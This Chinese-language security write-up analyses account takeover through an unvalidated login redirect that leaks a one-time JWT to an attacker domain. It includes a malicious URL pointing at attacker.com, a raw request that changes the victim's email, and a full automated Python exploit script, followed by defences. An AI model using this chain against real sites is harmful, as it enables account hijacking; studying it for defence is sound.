通过未经验证的重定向来截获JWT令牌劫持帐户
字数 1099 2025-08-27 12:33:48
JWT令牌劫持与未经验证重定向漏洞分析
漏洞概述
本教学文档详细分析了一个通过未经验证的重定向漏洞截获JWT令牌并最终实现账户劫持的安全案例。该漏洞涉及多个关键环节,包括JWT令牌处理机制、重定向验证缺失以及API端点保护不足等问题。
目标应用分析
应用架构理解
-
认证区域划分:
- 无需认证区域:公开访问部分
- 需认证区域:受保护功能区域
-
认证机制类型:
- 基于Cookie的认证
- 基于令牌的认证(本案例中的JWT)
登录流程分析
-
初始认证阶段:
- 用户提交有效凭证后,系统通过302重定向返回一次性JWT令牌
- 重定向URL格式:
/dashboard?token=<JWT>&signup_event=true&email_event=<email>
-
令牌交换阶段:
- 客户端使用一次性JWT向
/aapi/v1/authentications/token端点请求永久JWT - 永久JWT用于后续所有API交互
- 客户端使用一次性JWT向
核心漏洞点
未经验证的重定向
-
重定向参数:
my_results_redirect参数控制认证后跳转目标- 参数值未经验证,可被篡改为任意域名
-
跨子域影响:
- 主域(
secure.site.com)的认证机制覆盖所有子域 - 重定向漏洞存在于所有子域
- 主域(
JWT令牌处理缺陷
-
一次性令牌特性:
- 初始JWT只能使用一次
- 有效期极短(几秒钟)
-
保护机制不足:
- 仅依靠时间延迟作为保护
- 无其他验证机制(如来源IP检查)
漏洞利用步骤
第一阶段:令牌截获
-
构造恶意URL:
https://secure.site.com/login?my_results_redirect=http://attacker.com/dashboard -
受害者访问该URL后:
- 系统将包含JWT的重定向发送至攻击者控制的域名
- 攻击者从服务器日志中获取一次性JWT
第二阶段:获取永久令牌
- 使用自动化脚本快速交换令牌:
# 示例代码 import requests jwt_token = "截获的一次性令牌" headers = { "authorization": f"Bearer {jwt_token}", "content-type": "application/json" } response = requests.get( "https://secure.site.com/aapi/v1/authentications/token", headers=headers, verify=False ) if response.status_code == 200: permanent_token = response.json()['jwt_token']
第三阶段:账户劫持
-
修改账户邮箱:
PUT /aapi/v1/users/1 HTTP/1.1 Host: secure.site.com authorization: Bearer <永久JWT> { "user": { "email": "attacker@example.com" } } -
密码重置:
- 通过新邮箱接收重置链接
- 完全控制目标账户
防御措施
针对重定向漏洞
-
输入验证:
- 白名单验证重定向目标域名
- 禁止重定向至外部域名
-
Referer检查:
- 验证重定向请求的来源域名
针对JWT安全问题
-
令牌增强:
- 增加绑定信息(如IP、User-Agent)
- 缩短令牌有效期
- 实现令牌吊销机制
-
API端点保护:
- 速率限制敏感端点
- 实施二次验证机制
自动化利用脚本
完整Python利用脚本示例:
import requests
import json
from urllib.parse import quote
# 1. 构造钓鱼URL
phishing_url = "https://secure.site.com/login?my_results_redirect=" + quote("http://attacker.com/dashboard")
print(f"[+] 钓鱼URL: {phishing_url}")
# 2. 从日志获取一次性令牌后
temp_token = input("输入截获的一次性JWT: ")
# 3. 交换永久令牌
headers = {
"User-Agent": "Mozilla/5.0",
"authorization": f"Bearer {temp_token}",
"content-type": "application/json"
}
try:
response = requests.get(
"https://secure.site.com/aapi/v1/authentications/token",
headers=headers,
timeout=3 # 关键:快速请求
)
if response.status_code == 200:
data = response.json()
print(f"[+] 永久JWT获取成功: {data['jwt_token']}")
# 4. 修改邮箱
perm_headers = headers.copy()
perm_headers["authorization"] = f"Bearer {data['jwt_token']}"
payload = {
"user": {
"email": "attacker@example.com",
"first_name": data['user']['first_name'],
"last_name": data['user']['last_name']
}
}
user_id = data['user']['id']
put_response = requests.put(
f"https://secure.site.com/aapi/v1/users/{user_id}",
headers=perm_headers,
json=payload
)
if put_response.status_code == 200:
print("[+] 邮箱修改成功,账户已劫持")
else:
print("[-] 邮箱修改失败")
else:
print("[-] 令牌交换失败")
except Exception as e:
print(f"[-] 错误: {str(e)}")
总结
本案例展示了未经验证的重定向如何与其他漏洞(如JWT处理不当)结合产生严重后果。安全开发中必须:
- 对所有用户可控的输入进行严格验证
- 实现完善的令牌生命周期管理
- 关键操作需多重验证
- 定期进行安全审计和渗透测试
通过全面理解这些漏洞原理和利用方式,开发人员和安全工程师可以更好地保护应用免受此类攻击。